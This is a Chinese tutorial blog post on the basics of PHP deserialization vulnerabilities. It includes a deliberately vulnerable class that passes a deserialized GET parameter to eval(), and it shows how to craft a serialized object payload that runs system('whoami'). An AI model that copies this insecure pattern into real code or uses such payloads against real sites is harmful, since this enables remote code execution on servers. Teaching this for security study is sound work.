php反序列化--2--PHP反序列化漏洞基础知识

一、什么是反序列化?

反序列化是将序列化的字符串还原为PHP的值的过程。

二、如何反序列化

使用unserialize()函数来执行反序列化操作

代码1:

$serializedStr = 'O:8:"stdClass":1:{s:4:"data";s:6:"sample";}';
$originalData = unserialize($serializedStr);
echo $originalData->data;

结果:

sample

三、反序列化漏洞是怎么产生的?

反序列化过程中,unserialize()接收到的值(字符串)可控

通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。

反序列化不改变类的成员方法;需要调用方法后才能触发;

通过调用方法,触发代码执行。

代码2:

<?php

class summer{#定义了一个summer类
    public $a = '';
    public function displayVar(){   
        eval($this->a);#执行一个系统指令,将a里边的值定义到eval中
    }
}

$get = $_GET["spring"];
$b = unserialize($get);

$b->displayVar();

?>

1、使用$_GET获取get方法传输的spring参数

2、使用unserialize()函数对传入的值进行反序列化

注:eval()函数在PHP中的功能是将字符串作为PHP代码来执行

3、然后调用displayVar()将传入的参数执行出来。

4、如此可以看见,get传入的值必须是序列化后的值.

5、如何获得序列化后的值呢?

代码3

<?php

class summer{   #定义了一个summer类
    public $a ="system('whoami');";
   }

echo serialize(new summer);
?>

结果:

O:6:"summer":1:{s:1:"a";s:17:"system('whoami');";} 

 6、查看代码2是通过get方法获取spring参数的值,

如下图构造url,即可执行命令。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

midsummer_woo

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值